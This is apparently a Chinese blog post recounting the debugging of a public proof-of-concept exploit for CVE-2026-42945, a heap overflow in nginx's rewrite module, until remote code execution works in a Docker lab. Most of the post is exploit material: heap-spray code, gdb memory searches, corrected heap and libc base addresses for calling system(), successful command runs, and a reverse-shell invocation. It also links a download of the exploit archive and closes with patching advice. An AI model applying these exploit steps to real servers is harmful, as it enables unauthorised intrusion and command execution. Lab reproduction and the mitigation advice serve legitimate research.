NginxRift(CVE-2026-42945)PoC调试与复现笔记"

admin 2026-10-17 14:38:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记

原创

MicroPest
MicroPest

MicroPest

2026年7月4日 20:35
安徽

在小说阅读器读本章

去阅读

CVE-2026-42945(代号 \"NGINX Rift\")是一个存在于 NGINX ngx\_http\_rewrite\_module 中的堆缓冲区溢出漏洞,CVSS v4 评分 9.2(Critical)。该漏洞由 depthfirst 安全研究团队于 2026 年 4 月发现,自 2008 年引入 NGINX 0.6.27 版本以来已潜伏 18 年。

github地址:https://github.com/DepthFirstDisclosures/Nginx-Rift,

这是一篇记录从 PoC 运行失败(如下图原因所示)到完整 RCE 打通的全过程的详细文章,全网都没有(至少目前我没有找到),难度极高,在AI的帮助下完成。

一、项目背景

CVE-2026-42945 是 NGINX ngx\_http\_rewrite\_module 中的一个堆缓冲区溢出漏洞,影响 NGINX Open Source 0.6.27 至 1.30.0,存活约 18 年。该 PoC(Nginx-Rift)利用 rewrite 与 set 指令组合触发堆溢出,通过覆盖 ngx\_pool\_t 的 cleanup 指针劫持控制流,最终调用 system() 实现远程代码执行(RCE)。

项目仓库:Nginx-Rift-main - poc.py:主利用脚本 - env/:Docker 测试环境 - setup.sh:构建脚本

二、测试环境

容器启动命令: bash docker compose -f env/docker-compose.yml up

三、初始状态:PoC 运行异常

3.1 现象

执行 PoC 后,脚本报告 “crashed” 并退出:

python3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned'

输出:

[+] try 1/10 crashed — system(\"echo hello from depthfirst > /tmp/pwned\") executed

[+] Done.

但验证文件时失败:

docker exec cat /tmp/pwned

cat: /tmp/pwned: No such file or directory

说明:没有成功。

3.2 初步误判

最初误以为 try 1/10 crashed 表示 RCE 成功。后续通过 ps 和 error.log 确认: - nginx worker 确实发生了 SIGSEGV 崩溃 - 但 system() 并未正确执行命令 - 崩溃发生在 ngx\_destroy\_pool 的 c->handler(c->data) 调用路径。

四、调试过程

4.1 分析 core dump 定位崩溃点

从 /app/tmp/core.\* 分析崩溃位置:gdb /nginx-src/build/nginx /app/tmp/core.69 -batch -ex \"bt\" -ex \"info registers\" -ex \"quit\"

关键发现: - 崩溃在 ngx\_destroy\_pool 的 c->handler(c->data) - pool = 0x55555576dc00 - rdi = 0x2d746e65746e6f43(即 \"Content-\" 字符串) - 说明 pool->cleanup 指针被覆盖成了 HTTP header 数据地址,而非 spray body 中的 fake struct

4.2 发现 HEAP\_BASE 错误

查看 /proc//maps:

555555554000-555555576000 r--p 00000000  /nginx-src/build/nginx

555555576000-55555562c000 r-xp 00022000  /nginx-src/build/nginx

55555562c000-555555656000 r--p 000d8000  /nginx-src/build/nginx

555555657000-555555659000 r--p 00102000  /nginx-src/build/nginx

555555659000-55555566f000 rw-p 00104000  /nginx-src/build/nginx   ← .data/.bss

55555566f000-555555691000 rw-p 00000000

555555691000-5555556f6000 rw-p 00000000  [heap]

5555556f6000-555555717000 rw-p 00000000  [heap]

关键发现:PoC 中 HEAP\_BASE = 0x555555659000 实际上是 nginx 的 .data/.bss 段,而非堆基址。真正的堆基址是 0x555555691000。

实际 pool 地址 0x55555576dc00 相对 .data/.bss 基址的偏移为 0x114C00,而原 PoC 的 PREREAD\_HEAP\_OFFSETS 最大只到 0x10d467,完全没有覆盖到实际的 spray body 位置。

4.3 定位 spray body 地址

通过保持 spray 连接并搜索内存,最终找到 spray body 中的命令字符串:

发送 spray 并保持连接

python3 -c \"

import socket, time

s = socket.create\_connection(('127.0.0.1', 19321), timeout=5)

body = b'B' \* 4000

req = b'POST /spray HTTP/1.1\r\
Host: l\r\
Content-Length: 4000\r\
X-Delay: 60\r\
Connection: close\r\
\r\
' + body

s.sendall(req)

time.sleep(60)

\"

在容器内搜索命令字符串

gdb -p -batch -ex \"find /b 0x555555659000, 0x7ffff7778000, 0x74, 0x6f, 0x75, 0x63, 0x68\" -ex \"quit\"

输出示例: 0x5555556b347f 0x5555556b9ebf 0x55555571219f ...

通过 addr\_is\_safe 过滤,确定可用的 fake struct 地址: - 命令字符串在 0x5555556b347f - fake struct 在其前 24 字节:0x5555556b347f - 24 = 0x5555556b3467 - 地址字节 55 55 55 6b 34 67 全部通过 URI 安全过滤 ✅

验证 fake struct 内容:

gdb -p -batch -ex \"x/10gx 0x5555556b3467\" -ex \"x/s 0x5555556b347f\" -ex \"quit\"

输出: 0x5555556b3467: 0x00007ffff780ad70 0x0000555555772148 0x5555556b3477: 0x0000000000000000 0x742f206863756f74 0x5555556b347f: \"touch /tmp/rift\_pwned\"

4.4 发现 SYSTEM\_ADDR 错误

修改 HEAP\_BASE 和 PREREAD\_HEAP\_OFFSETS 后,RCE 仍然失败。分析新的 core dump:

0  0x00007ffff780ad73 in \\\_strfmon\_l (s=0x5555556b347f \"touch /tmp/rift\_pwned\", ...)

关键发现:PoC 调用的不是 system(),而是 \\\_strfmon\_l!

原因:LIBC\_BASE = 0x7ffff77ba000 取值错误,导致 SYSTEM\_ADDR = LIBC\_BASE + 0x50d70 = 0x7ffff780ad70 指向了 strfmon\_l 区域,而非真正的 system()。

通过段映射计算真实 system() 地址:

libc .text 加载地址 = 0x7ffff77e0000

.text 文件偏移     = 0x28000

system() 文件偏移  = 0x50d70

真实 system() = 0x7ffff77e0000 + (0x50d70 - 0x28000)

= 0x7ffff77e0000 + 0x28d70

= 0x7ffff7808d70

因此应将 LIBC\_BASE 改为 libc 文件起始映射地址 0x7ffff77b8000:

SYSTEM\_ADDR = 0x7ffff77b8000 + 0x50d70 = 0x7ffff7808d70

五、最终修复方案

修改 poc.py 中的以下三处:

5.1 修改 HEAP\_BASE 和 PREREAD\_HEAP\_OFFSETS

HEAP\_BASE = 0x5555556b3467

PREREAD\_HEAP\_OFFSETS = [

0x000000,

]

5.2 修改 LIBC\_BASE

LIBC\_BASE = 0x7ffff77b8000

SYSTEM\_ADDR = LIBC\_BASE + 0x50d70

六、验证结果

1、重新运行 PoC:

python3 poc.py --cmd 'touch /tmp/rift\_pwned'

输出: [\*] Waiting for nginx on 127.0.0.1:19321... [+] Connected. [+] try 1/10 crashed — system(\"touch /tmp/rift\_pwned\") executed [+] Done.

2、验证文件:

docker exec ls -la /tmp/rift\_pwned

-rw-r--r-- 1 nobody nogroup 0 Jul  4 11:18 /tmp/rift\_pwned

文件由 nobody 用户创建,证明 nginx worker 进程成功执行了任意命令,RCE 完全打通。

3、获取反向 Shell:

攻击端

python3 poc.py --shell --listen-ip 172.17.0.1 --listen-port 1337

执行任意命令:

python3 poc.py --cmd 'whoami > /tmp/pwned && id >> /tmp/pwned'

docker exec b64932700bbf cat /tmp/pwned

如上图,拿到了shell。

七、关键问题总结

🛠️ Nginx RCE 漏洞利用调试全流程记录

\\核心目标\\:利用 Nginx 内存损坏漏洞,成功执行 system() 创建文件 /tmp/rift\\_pwned

📦 阶段一:环境搭建与初始验证

\\1. 启动 Docker 测试环境\\

docker compose -f env/docker-compose.yml up

\\2. 运行初始 PoC 攻击脚本\\

python3 poc.py --cmd 'touch /tmp/x'

\\3. 观察运行结果\\

| 预期现象 | 实际现象 | 状态 |

| :--- | :--- | :---: |

| 在容器内生成 /tmp/x 文件 | PoC 虽报 \"crashed — system() executed\",但文件不存在 | ❌ \\失败\\ |

\\初步诊断\\:目标函数虽被触发,但参数传递或内存布局存在偏差,需深入调试。

🔬 阶段二:Core Dump 深度分析(定位内存布局问题)

\\4. GDB 分析 Core Dump 崩溃点\\

gdb /nginx-src/build/nginx /app/tmp/core.\*

  • \\崩溃位置\\:ngx\\_destroy\\_pool 内的 c->handler()

  • \\关键线索\\:寄存器 rdi 指向字符串 \"Content-\",表明 \\cleanup 指针被意外覆盖为 HTTP 头地址\\。

\\5. 诊断堆(Heap)基址严重偏差\\

  • 检查进程内存映射:

cat /proc//maps

  • \\发现矛盾\\:

- 原脚本使用的 HEAP\\_BASE=0x555555659000 实际指向 .data/.bss 段

- 真正的堆区起始在 0x555555691000

- Nginx pool 结构体位于 0x55555576dc00,导致原偏移列表完全失效

\\6. 定位 Spray 攻击载荷(Body)\\

  • 保持 Spray 长连接,利用 GDB 搜索 \"touch\" 字符串:

  • \\搜寻结果\\:

- 实际命令字符串(cmd)地址:0x5555556b347f

- 伪造结构体(fake\\_struct)地址:0x5555556b3467

  • ✅ 验证该地址可通过 addr\\_is\\_safe 检查

⚙️ 阶段三:修正地址与偏移配置(初版修复尝试)

\\7. 更新 HEAP\_BASE 与偏移列表\\

根据 Spray 内存布局,修改利用脚本参数:

HEAP\_BASE = 0x5555556b3467   # 对准 fake\_struct

PREREAD\_HEAP\_OFFSETS = [0]   # 精简偏移扫描

\\8. 二次运行——结果依然失败\\

  • 新生成的 Core Dump 显示崩溃函数变为 \\_\\_\\_strfmon\\_l

  • ❌ \\结论\\:调用地址仍然错误,实际跳转目标并非 system(),而是 Libc 中的其他函数

🧮 阶段四:根治 Libc 基址计算错误

\\9. 诊断 Libc 基址偏移\\

  • 提取 system() 在 Libc 文件中的偏移量:

readelf -s libc.so.6 | grep system

  • 计算得出:system() 文件偏移 = \\0x50d70\\

  • \\错误分析\\:原 PoC 中的 LIBC\\_BASE 取值导致计算结果偏移了 0x2000 字节:

- 错误计算:0x7ffff780ad70 → 实际落点到了 strfmon\\_l

- 正确地址应为:0x7ffff7808d70

\\10. 修正 LIBC\_BASE 变量\\

将运行时的 Libc 基址修正为实际加载地址:

LIBC\_BASE = 0x7ffff77b8000

SYSTEM\_ADDR = LIBC\_BASE + 0x50d70  # 结果为 0x7ffff7808d70

🏆 阶段五:最终验证(RCE 成功)

\\11. 执行最终攻击并验证\\

  • 重新运行修正后的 PoC:

python3 poc.py --cmd 'touch /tmp/rift\_pwned'

  • 进入容器检查命令执行结果:

docker exec ls -la /tmp/rift\_pwned

| 检查项 | 结果 |

| :--- | :---: |

| 文件 /tmp/rift\\_pwned 是否存在 | ✅ \\是\\ |

| 文件属主 | nobody(Nginx 工作进程权限) |

| 最终状态 | 🎉 \\远程代码执行(RCE)成功\\ |

📌 核心经验总结

  1. \\基址动态性\\:堆基址(Heap Base)与 Libc 基址在不同环境、甚至不同运行次数下可能变化,不可硬编码。

  2. \\验证优于假设\\:务必通过 /proc/<pid>/maps 或 GDB 动态获取准确内存地址。

  3. \\偏移精确性\\:system() 在 Libc 中的偏移需通过 readelf 精确提取,误差 0x2000 字节即可导致跳转到完全无关的函数(如 strfmon\\_l)。

八、安全建议

升级 NGINX:立即升级至 1.31.0+ / 1.30.1+

配置审计:避免 rewrite 替换字符串含 ? 且同时使用 set 指令

开启 ASLR:生产环境严禁禁用地址随机化

WAF 防护:部署规则检测 URI 中超长连续 + 序列

九、附录:调试命令速查

查看容器内 nginx worker PID

ps aux | grep \"nginx: worker\"

查看进程内存映射

cat /proc//maps

分析 core dump

gdb /nginx-src/build/nginx /app/tmp/core. -batch -ex \"bt\" -ex \"quit\"

搜索内存中的命令字符串(需保持 spray 连接)

gdb -p -batch -ex \"find /b 0x555555659000, 0x7ffff7778000, 0x74, 0x6f, 0x75, 0x63, 0x68\" -ex \"quit\"

查看 fake struct 内容

gdb -p -batch -ex \"x/10gx 0x5555556b3467\" -ex \"x/s 0x5555556b347f\" -ex \"quit\"

确认 system() 真实地址

readelf -s /usr/lib/x86\_64-linux-gnu/libc.so.6 | grep \" system@\"

通过网盘分享的文件:485-Nginx-Rift-main.rar

链接: https://pan.baidu.com/s/1vWFJEOzb4RuyEdfplbOeMg?pwd=kfen 提取码: kfen


NginxRift(CVE-2026-42945)PoC调试与复现笔记" 网络安全文章

NginxRift(CVE-2026-42945)PoC调试与复现笔记"

本文详细记录了CVE-2026-42945NginxRift漏洞的PoC调试与复现过程。该漏洞是ngx_http_rewrite_module中的堆缓冲区溢出,影响Nginx0.6.27至1.30.0版本。作者从PoC运行失败开始,通过分析coredump发现HEAP_BASE和LIBC_BASE计算错误,导致cleanup指针被HTTP头覆盖且system()调用指向strfmon_l。修正地址后成功实现RCE,可执行任意命令或获取反向shell。关键教训是必须精确计算堆基址和libc基址。
能实时改变的剧情、会行动的AI角色,Vivix灵动时刻正式发布首个实时互动模型" 网络安全文章

能实时改变的剧情、会行动的AI角色,Vivix灵动时刻正式发布首个实时互动模型"

Vivix灵动时刻发布全球首个实时交互多模态模型A1和W1,激活参数约30B。A1让AI角色实现全身表演、实时全双工交互、自然表情及动态图片加入,可见反应延迟低于0.6秒。W1将交互扩展到整个场景和故事,用户可实时改变剧情。实时视频推理成本已接近主流视频平台CDN带宽成本量级,推动AI视频从固定内容走向持续互动体验。
从全球AI大佬看AI研究和发展趋势" 网络安全文章

从全球AI大佬看AI研究和发展趋势"

本文剖析2026全球AI人才图谱,揭示人才流动与机构格局。核心发现为AI人才大迁徙,国际向Anthropic收敛,国内大厂将海外科学家推上权力中心。关系网络暴露技术基因的非对称传播,如Bengio牵连国内外团队。国内呈清华系、大厂与开源三足鼎立。建议通过师徒链追踪模型技术源头与风险。
招聘资深移动安全工程师" 网络安全文章

招聘资深移动安全工程师"

该招聘信息面向资深移动安全工程师,要求精通Android/iOS逆向、Hook技术、操作系统原理及AI能力,负责APP安全测试、外挂对抗等工作。工作地点上海,建议符合条件的专业人士投递简历。
评论:0   参与:  0